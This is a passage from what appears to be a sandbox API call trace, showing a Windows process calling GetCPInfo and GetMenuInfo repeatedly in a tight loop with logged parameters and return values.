param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.269] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.269] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.270] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.271] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.272] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.273] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.274] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.274] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, 